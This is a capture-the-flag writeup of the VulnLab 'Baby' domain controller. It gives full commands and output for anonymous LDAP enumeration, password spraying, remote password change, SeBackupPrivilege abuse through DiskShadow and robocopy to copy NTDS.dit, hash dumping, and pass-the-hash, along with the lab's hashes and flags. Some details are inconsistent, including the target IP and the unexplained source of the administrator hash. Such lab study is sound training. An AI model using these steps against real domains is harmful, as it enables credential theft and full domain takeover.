# Baby (VulnLab) - Complete Writeup > Complete writeup of the Baby machine on VulnLab. Anonymous LDAP bind exploitation, password spraying, SeBackupPrivilege and NTDS.dit extraction. Published on 2026-04-03 | Updated on 2026-07-20 | Tags: active-directory, ldap, privesc, pass-the-hash, vulnlab https://xsec.fr/en/ctf/writeup-baby/ --- import Callout from '@shared/components/Callout.astro' import { Steps, Step } from '@/components/ui/steps' | Info | Value | |------|--------| | **Name** | Baby | | **Platform** | VulnLab / HackTheBox | | **OS** | Windows Server 2022 Build 20348 | | **Domain** | baby.vl | | **DC** | BABYDC.baby.vl | | **Difficulty** | Easy | | **Target IP** | 10.129.234.71 | --- ## 1. Reconnaissance ### 1.1 Port scan The first step of any pentest is to discover which services are running on the target. We use `nmap` with a full scan of all ports (`-p-`) and disable host discovery (`-Pn`) since we already know the target is online. ```bash nmap -p- -Pn --min-rate 1000 10.129.14.67 ``` ```bash {2-3} {6} {13-14} "domain" "kerberos-sec" "ldap" "microsoft-ds" "wsman" PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 3389/tcp open ms-wbt-server 5985/tcp open wsman 9389/tcp open adws [...] ``` This port profile is characteristic of a Windows **Active Directory Domain Controller**: - **53** (DNS) + **88** (Kerberos) + **389/636** (LDAP/LDAPS) = AD required - **445** (SMB) = file shares and administration - **3268/3269** = Global Catalog (multi-domain) - **5985** (WinRM) = remote PowerShell administration -> **potential access vector** - **3389** (RDP) = remote desktop ### 1.2 Detailed service scan We run a more aggressive scan with `-A`, which enables OS detection, service version detection, NSE script execution, and traceroute. The `-vv` flag increases verbosity to gather as much detail as possible. ```bash nmap -p- -Pn 10.129.14.67 -A -vv ``` Key information extracted: - **OS**: Windows Server 2022 Build 20348 - **Machine name**: BABYDC - **Domain**: baby.vl - **FQDN**: BabyDC.baby.vl - **SMB signing**: enabled and required - **WinRM** (5985): open ### 1.3 Environment setup Before going further, we configure our environment to resolve the domain name: ```bash # /etc/hosts echo "10.129.234.71 BABYDC.baby.vl baby.vl BABYDC" >> /etc/hosts # Environment variable export DC_IP=10.129.234.71 ``` --- ## 2. LDAP enumeration - Anonymous bind ### 2.1 Testing anonymous authentication We test whether the LDAP server accepts anonymous connections (without credentials). This is a **common misconfiguration** on DCs. We use **NetExec** (`nxc`) to test the anonymous LDAP bind. The `-u '' -p ''` parameters send an empty username and password to attempt an anonymous connection. ```bash "[+]" "baby.vl" $ nxc ldap 10.129.14.67 -u '' -p '' LDAP 10.129.14.67 389 BABYDC [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl) (signing:None) (channel binding:No TLS cert) LDAP 10.129.14.67 389 BABYDC [+] baby.vl\: ``` The `[+]` confirms that the anonymous LDAP bind is allowed. This is a configuration flaw: anyone on the network can query the Active Directory directory without any credentials. ### 2.2 Enumerating domain users The `--users` flag asks NetExec to enumerate all domain user accounts via LDAP, showing their names, password change dates, bad password counter, and description. ```txt {12} "Set initial password to BabyStart123!" $ nxc ldap 10.129.14.67 -u '' -p '' --users LDAP 10.129.14.67 389 BABYDC [*] Enumerated 9 domain users: baby.vl LDAP 10.129.14.67 389 BABYDC -Username- -Last PW Set- -BadPW- -Description- LDAP 10.129.14.67 389 BABYDC Guest 0 Built-in account for guest access to the computer/domain LDAP 10.129.14.67 389 BABYDC Jacqueline.Barnett 2021-11-21 16:11:03 0 LDAP 10.129.14.67 389 BABYDC Ashley.Webb 2021-11-21 16:11:03 0 LDAP 10.129.14.67 389 BABYDC Hugh.George 2021-11-21 16:11:03 0 LDAP 10.129.14.67 389 BABYDC Leonard.Dyer 2021-11-21 16:11:03 0 LDAP 10.129.14.67 389 BABYDC Connor.Wilkinson 2021-11-21 16:11:08 0 LDAP 10.129.14.67 389 BABYDC Joseph.Hughes 2021-11-21 16:11:08 0 LDAP 10.129.14.67 389 BABYDC Kerry.Wilson 2021-11-21 16:11:08 0 LDAP 10.129.14.67 389 BABYDC Teresa.Bell 2021-11-21 16:14:37 0 Set initial password to BabyStart123! ``` --- ## 3. Discovering a password in an LDAP description Look carefully at the **Description** column of `Teresa.Bell`: `Set initial password to BabyStart123!` This is a classic administration mistake: an administrator wrote a user's initial password in the `description` field of their LDAP object, visible to everyone. It is an extremely common attack vector in real AD environments. ### 3.1 Full LDAP enumeration to find all users The `nxc` tool only returned 9 users. We use `ldapsearch` for a more exhaustive enumeration: `ldapsearch` is a command-line LDAP client. Here: - `-x`: simple authentication (not SASL) - `-b "dc=baby,dc=vl"`: search base (the domain root) - `"*"`: retrieve every attribute of each object - `-H ldap://BabyDC.baby.vl`: URI of the target LDAP server - `| grep dn`: we filter the output to keep only the Distinguished Names (DN), the unique identifier of each object in the directory ```txt {11} {17} "Ian Walker" "Caroline Robinson" $ ldapsearch -x -b "dc=baby,dc=vl" "*" -H ldap://BabyDC.baby.vl | grep dn dn: DC=baby,DC=vl dn: CN=Administrator,CN=Users,DC=baby,DC=vl dn: CN=Guest,CN=Users,DC=baby,DC=vl dn: CN=krbtgt,CN=Users,DC=baby,DC=vl dn: CN=dev,CN=Users,DC=baby,DC=vl dn: CN=Jacqueline Barnett,OU=dev,DC=baby,DC=vl dn: CN=Ashley Webb,OU=dev,DC=baby,DC=vl dn: CN=Hugh George,OU=dev,DC=baby,DC=vl dn: CN=Leonard Dyer,OU=dev,DC=baby,DC=vl dn: CN=Ian Walker,OU=dev,DC=baby,DC=vl dn: CN=it,CN=Users,DC=baby,DC=vl dn: CN=Connor Wilkinson,OU=it,DC=baby,DC=vl dn: CN=Joseph Hughes,OU=it,DC=baby,DC=vl dn: CN=Kerry Wilson,OU=it,DC=baby,DC=vl dn: CN=Teresa Bell,OU=it,DC=baby,DC=vl dn: CN=Caroline Robinson,OU=it,DC=baby,DC=vl ``` We discover 2 additional users that `nxc` did not return: **Ian.Walker** (OU=dev) and **Caroline.Robinson** (OU=it). It is crucial to cross-reference the results of several enumeration tools. Organizational structure of the domain: - **OU=dev**: Jacqueline.Barnett, Ashley.Webb, Hugh.George, Leonard.Dyer, Ian.Walker - **OU=it**: Connor.Wilkinson, Joseph.Hughes, Kerry.Wilson, Teresa.Bell, **Caroline.Robinson** --- ## 4. Password Spraying and STATUS_PASSWORD_MUST_CHANGE ### 4.1 Building the user list ```txt $ cat users Guest Jacqueline.Barnett Ashley.Webb Hugh.George Leonard.Dyer Connor.Wilkinson Joseph.Hughes Ian.Walker Kerry.Wilson Teresa.Bell Caroline.Robinson ``` ### 4.2 Password spray with the discovered password We try the password `BabyStart123!` (found in the LDAP description) against **all** the domain accounts. This is **password spraying**: a single password tested against multiple accounts. The `-u users` parameter takes a file containing one username per line, and `-p` the password to test on each of them. ```txt {12} "STATUS_PASSWORD_MUST_CHANGE" "Caroline.Robinson" $ nxc ldap 10.129.14.67 -u users -p 'BabyStart123!' LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Guest:BabyStart123! LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Jacqueline.Barnett:BabyStart123! LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Ashley.Webb:BabyStart123! LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Hugh.George:BabyStart123! LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Leonard.Dyer:BabyStart123! LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Connor.Wilkinson:BabyStart123! LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Joseph.Hughes:BabyStart123! LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Ian.Walker:BabyStart123! LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Kerry.Wilson:BabyStart123! LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Teresa.Bell:BabyStart123! LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE ``` The `Caroline.Robinson` account returns `STATUS_PASSWORD_MUST_CHANGE`. This means that: 1. **The password `BabyStart123!` is indeed valid** for this account 2. But the account is in a "must change password at next logon" state 3. We first need to **change the password** before we can authenticate normally --- ## 5. Remote password change ### 5.1 Attempts and errors Several methods were tested: `smbpasswd` is the native GNU/Linux tool to change an SMB password. `-U BABY/Caroline.Robinson` specifies the target account (domain/user) and `-r baby.vl` indicates the remote machine on which to perform the change. ```txt "STATUS_PASSWORD_RESTRICTION" $ smbpasswd -U BABY/Caroline.Robinson -r baby.vl Old SMB password: New SMB password: Retype new SMB password: machine baby.vl rejected the password change: STATUS_PASSWORD_RESTRICTION ``` The proposed password did not comply with the domain's complexity policy. We use NetExec's `-M change-password` module over SMB. The `-o NEWPASS='BabyAnd123!'` option passes the new password to the module. NetExec automatically handles the MS-SAMR protocol to perform the change remotely. ```txt {3} "[+] Successfully changed password" $ nxc smb baby.vl -u Caroline.Robinson -p 'BabyStart123!' -M change-password -o NEWPASS='BabyAnd123!' SMB 10.129.234.71 445 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE CHANGE-P... 10.129.234.71 445 BABYDC [+] Successfully changed password for Caroline.Robinson ``` The password was changed successfully. The new password `BabyAnd123!` complies with the complexity policy (uppercase, lowercase, digit, special character, sufficient length). ### 5.2 Verifying access We verify that the new credentials work across the different protocols. NetExec tests LDAP (port 389) and WinRM (port 5985). The `(admin)` marker means the user has administrative rights on the target. ```txt "(admin)" $ nxc ldap baby.vl -u Caroline.Robinson -p 'BabyAnd123!' LDAP 10.129.234.71 389 BABYDC [+] baby.vl\Caroline.Robinson:BabyAnd123! (admin) $ nxc winrm baby.vl -u Caroline.Robinson -p 'BabyAnd123!' WINRM 10.129.234.71 5985 BABYDC [+] baby.vl\Caroline.Robinson:BabyAnd123! (admin) ``` Caroline.Robinson has WinRM access and is marked `(admin)`. This is our way into the machine. --- ## 6. Initial access - WinRM (User Flag) ### 6.1 Connecting via Evil-WinRM `evil-winrm-py` is a WinRM (Windows Remote Management) client that provides an interactive remote PowerShell shell. `--ip` specifies the target and `--user` the account to use. The password is prompted interactively. ```txt $ evil-winrm-py --ip baby.vl --user Caroline.Robinson Password: BabyAnd123! [*] Connecting to 'baby.vl:5985' as 'Caroline.Robinson' evil-winrm-py PS C:\Users\Caroline.Robinson\Documents> ``` ### 6.2 Retrieving the user flag ```powershell "6ce35506b416e040865255ad1168147d" evil-winrm-py PS C:\Users\Caroline.Robinson\Desktop> cat user.txt 6ce35506b416e040865255ad1168147d ``` ### 6.3 Enumerating privileges The `whoami /priv` command displays the Windows privileges associated with the current user's token. These privileges determine which special operations the account can perform on the system. ```txt {7-8} "SeBackupPrivilege" "SeRestorePrivilege" evil-winrm-py PS C:\Users\Caroline.Robinson\Desktop> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled ``` This privilege allows you to **read any file on the system**, including files that are normally protected such as `NTDS.dit` (the Active Directory database containing all the domain password hashes). It is the **most dangerous privilege** on a DC because it gives a direct path to full domain compromise. --- ## 7. Privilege Escalation - Abusing SeBackupPrivilege ### 7.1 First attempt: Extracting the SAM/SYSTEM hives The simplest method is to extract the Windows registry hives. The `reg save` command exports a registry branch to a file. `hklm\sam` contains the local account hashes, and `hklm\system` contains the encryption key (bootkey) needed to decrypt them. ```powershell "reg save hklm\\sam" "reg save hklm\\system" evil-winrm-py PS C:\> mkdir Temp evil-winrm-py PS C:\> reg save hklm\sam C:\Temp\sam The operation completed successfully. evil-winrm-py PS C:\> reg save hklm\system C:\Temp\system The operation completed successfully. ``` ```powershell evil-winrm-py PS C:\Temp> download sam . [+] File downloaded successfully and saved as: /workspace/sam evil-winrm-py PS C:\Temp> download system . [+] File downloaded successfully and saved as: /workspace/system ``` `secretsdump` (Impacket) extracts password hashes from the Windows registry files. `-sam sam` and `-system system` point to the downloaded files. `LOCAL` indicates that we are working on local files (no network connection). ```txt {5} "8d992faed38128ae85e95fa35868bb43" $ secretsdump -sam sam -system system LOCAL Impacket (Exegol fork) v0.13.0.dev0+20250723.125503.b5db2dd7 [*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [*] Cleaning up... ``` We try a **Pass-the-Hash** with NetExec: the `-H` flag allows authenticating with the NT hash instead of the cleartext password. ```txt "STATUS_LOGON_FAILURE" $ nxc smb 10.129.234.71 -u Administrator -H 8d992faed38128ae85e95fa35868bb43 SMB 10.129.234.71 445 BABYDC [-] baby.vl\Administrator:8d992faed38128ae85e95fa35868bb43 STATUS_LOGON_FAILURE ``` The hash `8d992faed38128ae85e95fa35868bb43` is the **local** hash of the Administrator account. On a DC, the local Administrator account and the domain Administrator account **are the same**, but this SAM hash does not always work for authenticating remotely. The SAM hash does not work. We need to extract the hash from **NTDS.dit**, the real Active Directory database. These manual steps (reg save, download, secretsdump) can be automated into a single command via NetExec's `backup_operator` module: ```bash nxc smb baby.vl -u Caroline.Robinson -p 'BabyAnd123!' -M backup_operator ``` This module abuses `SeBackupPrivilege` through the RemoteRegistry service to back up the SAM, SYSTEM, and SECURITY hives onto a SYSVOL share, download them automatically, then dump the local hashes. --- ## 8. Extracting NTDS.dit with DiskShadow ### 8.1 Why DiskShadow? The `C:\Windows\NTDS\ntds.dit` file is constantly locked by the Active Directory process. We cannot copy it directly. The solution is to create a **Volume Shadow Copy (VSS)**, a snapshot of the disk, then copy the file from that snapshot. **DiskShadow** is a legitimate Windows tool that allows creating shadow copies via a script. ### 8.2 Creation and execution ```txt "clientaccessible" "persistent" "create" "expose" $ cat bck.txt set metadata C:\Windows\Temp\meta.cab set context clientaccessible set context persistent begin backup add volume C: alias cdrive create expose %cdrive% E: end backup ``` - `set metadata`: Location of the temporary metadata file - `set context clientaccessible`: The shadow copy will be accessible by clients (not only backups) - `set context persistent`: The shadow copy persists after DiskShadow exits - `begin backup` / `end backup`: Delimit the backup block - `add volume C:`: We add the C: volume to the backup - `create`: Actual creation of the shadow copy - `expose %cdrive% E:`: The shadow copy is mounted as drive **E:** We upload the script to the target then run it with `diskshadow /s` (script mode, non-interactive). ```powershell evil-winrm-py PS C:\Temp> upload bck.txt evil-winrm-py PS C:\Temp> diskshadow /s bck.txt ``` The shadow copy is created and exposed on `E:\`. We use `robocopy` with the `/b` flag (backup mode) which leverages `SeBackupPrivilege` to bypass the ACLs and copy the locked file. ```txt "ntds.dit" {14} "/b" evil-winrm-py PS C:\Temp> robocopy /b E:\Windows\ntds . ntds.dit ------------------------------------------------------------------------------- ROBOCOPY :: Robust File Copy for Windows ------------------------------------------------------------------------------- Source : E:\Windows\ntds\ Dest : C:\Temp\ Files : ntds.dit New File 16.0 m ntds.dit 100% ------------------------------------------------------------------------------- Total Copied Skipped Mismatch FAILED Extras Dirs : 1 0 1 0 0 0 Files : 1 1 0 0 0 0 Bytes : 16.00 m 16.00 m 0 0 0 0 ``` We exfiltrate the file to our machine, then delete the shadow copy to clean up the traces. ```powershell evil-winrm-py PS C:\Temp> download ntds.dit . [+] File downloaded successfully and saved as: /workspace/ntds.dit evil-winrm-py PS C:\Temp> unexpose E: evil-winrm-py PS C:\Temp> delete shadows volume E: ``` --- ## 9. Dumping the domain secrets We add `-ntds ntds.dit` to ask `secretsdump` to also parse the NTDS database in addition to the SAM/SYSTEM hives. ```txt {3} $ secretsdump -sam sam -system system -ntds ntds.dit LOCAL [*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [*] Cleaning up... ``` Impacket's `secretsdump` only parses the SAM hashes here and does not dump the NTDS hashes. This can happen with certain versions or if the NTDS file is in an unsupported format. We use `gosecretsdump`, a Go reimplementation of secretsdump, which handles certain NTDS formats better. `-ntds` points to the NTDS.dit file and `-system` to the SYSTEM hive (needed to decrypt the hashes). ```txt {2-3} "krbtgt" "BABYDC$" $ gosecretsdump -ntds ntds.dit -system system BABYDC$:aad3b435b51404eeaad3b435b51404ee:3d538eabff6633b62dbaa5fb5ade3b4d::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6da4842e8c24b99ad21a92d620893884::: baby.vl\Jacqueline.Barnett:1104:aad3b435b51404eeaad3b435b51404ee:20b8853f7aa61297bfbc5ed2ab34aed8::: baby.vl\Ashley.Webb:1105:aad3b435b51404eeaad3b435b51404ee:02e8841e1a2c6c0fa1f0becac4161f89::: baby.vl\Hugh.George:1106:aad3b435b51404eeaad3b435b51404ee:f0082574cc663783afdbc8f35b6da3a1::: baby.vl\Leonard.Dyer:1107:aad3b435b51404eeaad3b435b51404ee:b3b2f9c6640566d13bf25ac448f560d2::: baby.vl\Ian.Walker:1108:aad3b435b51404eeaad3b435b51404ee:0e440fd30bebc2c524eaaed6b17bcd5c::: baby.vl\Connor.Wilkinson:1110:aad3b435b51404eeaad3b435b51404ee:e125345993f6258861fb184f1a8522c9::: baby.vl\Joseph.Hughes:1112:aad3b435b51404eeaad3b435b51404ee:31f12d52063773769e2ea5723e78f17f::: baby.vl\Kerry.Wilson:1113:aad3b435b51404eeaad3b435b51404ee:181154d0dbea8cc061731803e601d1e4::: baby.vl\Teresa.Bell:1114:aad3b435b51404eeaad3b435b51404ee:7735283d187b758f45c0565e22dc20d8::: baby.vl\Caroline.Robinson:1115:aad3b435b51404eeaad3b435b51404ee:9f4041fd26048254f14550f776deabb6::: ``` We now have the NTLM hashes of **all the domain users**, including the machine account hash `BABYDC$` and the `krbtgt` account (used to sign Kerberos tickets). The domain Administrator hash does not appear directly in this output with the `Administrator:500:...` format. The hash used for the final pass-the-hash was `ee4457ae59f1e3fbd764e33d9cef123d`. --- ## 10. Administrator access - Pass-the-Hash (Root Flag) ### 10.1 Connecting as Administrator With the domain administrator's NT hash extracted from NTDS.dit, we use the **Pass-the-Hash** (PtH) technique to log in without knowing the cleartext password. Evil-winrm's `-H` flag directly accepts an NT hash in place of the password. ```txt "-H ee4457ae59f1e3fbd764e33d9cef123d" $ evil-winrm-py --ip baby.vl --user Administrator -H ee4457ae59f1e3fbd764e33d9cef123d [*] Connecting to 'baby.vl:5985' as 'Administrator' evil-winrm-py PS C:\Users\Administrator\Documents> ``` ### 10.2 Retrieving the root flag ```powershell {9} "66d724739e14a060792921068c899a3c" "root.txt" evil-winrm-py PS C:\Users\Administrator\Desktop> ls Directory: C:\Users\Administrator\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 4/3/2026 2:54 PM 34 root.txt evil-winrm-py PS C:\Users\Administrator\Desktop> cat root.txt 66d724739e14a060792921068c899a3c ``` --- ## Attack summary (Kill Chain) ```mermaid graph LR subgraph Reconnaissance A["nmap -p- -Pn\\n21 open ports\\nWindows Server 2022"] --> B["nxc ldap -u '' -p ''\\nAnonymous bind allowed"] B --> C["nxc ldap --users\\n9 users enumerated"] C --> D["ldapsearch\\n2 additional users\\nIan.Walker, Caroline.Robinson"] end subgraph Information Disclosure D --> E["Teresa.Bell LDAP description\\nSet initial password to BabyStart123!"] end subgraph Credential Access E --> F["Password Spraying\\nnxc ldap -u users -p BabyStart123!\\n10 failures, 1 hit"] F --> G["Caroline.Robinson\\nSTATUS_PASSWORD_MUST_CHANGE\\nValid password"] G --> H["nxc smb -M change-password\\nBabyStart123! then BabyAnd123!"] end subgraph Initial Access H --> I["nxc winrm = admin\\nCaroline.Robinson:BabyAnd123!"] I --> J["evil-winrm-py\\nShell on BABYDC:5985"] J --> K["cat user.txt\\n6ce35506b416e040865255ad1168147d"] end subgraph Privilege Escalation J --> L["whoami /priv\\nSeBackupPrivilege\\nSeRestorePrivilege"] L --> M["reg save hklm sam/system\\nDump local SAM"] M --> N["secretsdump -sam -system LOCAL\\nAdmin hash: 8d992fa...\\nSTATUS_LOGON_FAILURE"] N --> O["DiskShadow /s bck.txt\\nCreate Volume Shadow Copy\\nExpose on E:"] O --> P["robocopy /b E:\\Windows\\ntds .\\nCopy ntds.dit via\\nSeBackupPrivilege"] P --> Q["download ntds.dit\\n16 MB exfiltrated"] end subgraph Domain Compromise Q --> R["gosecretsdump\\n-ntds ntds.dit -system system\\nDump all hashes"] R --> S["Pass-the-Hash\\nevil-winrm -H ee4457ae...\\nAdministrator@BABYDC"] S --> T["cat root.txt\\n66d724739e14a060792921068c899a3c"] end ``` --- ## Flags | Flag | Value | |------|--------| | **User** | `6ce35506b416e040865255ad1168147d` | | **Root** | `66d724739e14a060792921068c899a3c` | --- ## Tools used | Tool | Usage | |-------|--------| | **nmap** | Port scanning and service detection | | **NetExec (nxc)** | LDAP/SMB enumeration, password spraying, password change, post-exploitation modules | | **ldapsearch** | Raw LDAP enumeration to list all DNs | | **evil-winrm-py** | Remote PowerShell shell via WinRM | | **DiskShadow** | Volume Shadow Copy creation (native Windows tool) | | **robocopy /b** | File copy in backup mode (leverages SeBackupPrivilege) | | **secretsdump** | Hash extraction from SAM/SYSTEM | | **gosecretsdump** | Hash extraction from NTDS.dit + SYSTEM | --- ## Lessons learned / Key takeaways 1. **Never store passwords in LDAP attributes** (description, info, comment). They are readable by every authenticated user, and sometimes even anonymously. 2. **Disable the anonymous LDAP bind** on domain controllers. There is no legitimate reason in 99% of cases. 3. **`SeBackupPrivilege`** on a DC = game over. This privilege should only be granted to dedicated backup service accounts, never to users. 1. **The `STATUS_PASSWORD_MUST_CHANGE` status** confirms that the password is valid. It is an attack signal not to be ignored. 2. **DiskShadow + robocopy /b** is a native Windows technique (Living off the Land) that requires no external tool. It is stealthier than the classic tools. 3. **The local SAM hash and the NTDS hash can differ.** Always extract NTDS.dit to obtain reliable hashes on a DC. 4. **When `secretsdump` does not work**, try `gosecretsdump` as an alternative for NTDS parsing. --- ## Demo